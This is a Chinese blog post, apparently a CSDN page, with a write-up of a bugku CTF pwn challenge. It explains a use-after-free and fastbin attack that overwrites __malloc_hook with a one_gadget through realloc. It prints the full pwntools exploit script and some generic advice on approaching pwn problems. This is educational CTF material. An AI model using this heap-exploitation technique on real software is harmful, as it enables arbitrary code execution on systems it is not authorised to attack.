记一次bugku pwn题解4月27日

记一次bugku pwn题解4月27日

emmmm,远程环境很垃圾(2.19-0ubuntu6.15),笔者patchelf的时候才想起来没有2.19,所以直接用2.23。利用realloc调整了好多次都打不通。。。。。换了四次gadget从0一直测试到realloc+0x30。。。。(没意思,其实可以利用其他方式,比如fsop,当时想着可能马上就可以通了就没有再高兴换了。。
在这里插入图片描述
uaf漏洞一枚,还可以edit,直接fastbin attack乱杀。快速写完初始exp发现了一个很ganga的事情,打不通本地和远程,那就利用realloc来调整一下呗。realloc + 0本地直接成功,远程就是打不通。。。。。
一开始保护也没看,可以直接改got表。。。总结来说就是太飘了。。。。
题目链接:z1r0’s github
这里给出本地的exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
    r = remote('192-168-1-192.pvp1029.bugku.cn', 9999)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'Command:'

def add(size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('size:', str(size))

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index:', str(index))
    r.sendafter('Content:', content)

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index:', str(index))

def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index:', str(index))

add(0x80)   #0
add(0x60)   #1
add(0x60)   #1
add(0x60)   #3
add(0x10)   #4
delete(4)
edit(4, '/bin/sh')


delete(0)
show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

#libc = ELF('./libc.so.6')
libc = ELF('./2.23/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
#one = [0x46428, 0x4647c, 0xe9415, 0xea36d]
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[0] + libc_base
realloc_hook = libc_base + libc.sym['realloc']
system_addr = libc_base + libc.sym['system']

add(0x80) #5
delete(1)
p1 = p64(malloc_hook - 0x23)
edit(1, p1)

add(0x60)   #6
add(0x60)   #7
p2 = b'a' * 0xb + p64(one_gadget) + p64(realloc_hook)
edit(7, p2)

add(0x30)

r.interactive()

这里笔者差忘记一个点,ida反汇编的时候switch这里会失败,看汇编的时候有一个垃圾数据nop掉就行。
在这里插入图片描述
在这里插入图片描述
再接再厉吧仔细点仔细点。。。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: 打开一个 Pwn 题需要以下几个步骤: 1. 下载并安装 Pwn 工具集。Pwn 工具集包括 GDB、IDA Pro、pwntools 等工具,可以帮助你进行 Pwn 题目的分析和攻击。你可以在官网上下载并安装 Pwn 工具集。 2. 阅读题目描述和提示。Pwn 题目通常会提供一些提示和描述,让你了解该题目的基本信息和攻击思路。 3. 分析漏洞点。在进行 Pwn 题目攻击之前,你需要先找到漏洞点。这可能需要你分析题目代码、反汇编二进制文件、使用调试器等方式。 4. 构造 payload。一旦你找到了漏洞点,你需要构造 payload 来利用该漏洞。payload 可以是一段 shellcode 或者其他恶意代码,它可以让你在目标程序中执行任意代码。 5. 执行攻击。最后,你需要执行攻击并验证是否成功。你可以使用 Pwn 工具集中的工具来验证攻击是否成功,例如使用 GDB 调试实时查看程序的状态。 需要注意的是,Pwn 题目是比较复杂的,需要一定的计算机系统知识和技能。因此,在进行 Pwn 题目攻击之前,建议你先学习一些基础知识,例如计算机系统原理、汇编语言、C 语言等。 ### 回答2: 要打开一个pwn题,首先需要了解pwn题的基本知识和入门技巧。Pwn题通常是指有漏洞可以进行攻击的二进制程序。下面是打开一个pwn题的一般步骤: 1. 了解目标:阅读题目描述和相关信息,了解题目的背景故事、要求和限制条件。同时,检查题目文件的属性和权限。 2. 查看源代码:如果有提供的源代码,应该仔细阅读以了解其中的漏洞和可能的攻击点。关注包含用户输入的部分,如输入函数、变量声明和参数传递等。 3. 漏洞分析:根据题目类型和源代码,分析可能存在的漏洞类型。常见的漏洞类型包括缓冲区溢出、格式化字符串漏洞、堆溢出等。 4. 构造攻击载荷:根据对漏洞的分析,构造相应的攻击载荷。这可以是一系列的输入,以便利用漏洞触发特定的目标操作。 5. 调试程序:使用调试器(例如gdb)加载目标程序并跟踪代码的执行过程。这有助于理解程序的行为以及找到攻击载荷的正确位置。 6. 利用漏洞进行攻击:在调试过程中,找到合适的位置并向目标程序输入构造的攻击载荷。这可能会导致目标程序发生崩溃或执行任意代码。 7. 获取权限或执行目标操作:根据题目要求,尝试获取目标操作的权限或执行特定的操作。这可能需要进一步的攻击,例如提权、绕过安全机制等。 8. 编写脚本或自动化攻击:完成手动攻击后,可以根据需要编写脚本或使用自动化工具来自动化攻击过程,以便更高效地解决类似的问题。 总之,打开一个pwn题需要对二进制程序的漏洞和攻击技术有一定的了解,并且需要进行分析、调试和尝试不同的方法来攻击目标。不同的pwn题可能需要不同的技术和思路,因此需要不断学习和实践来提高自己的能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值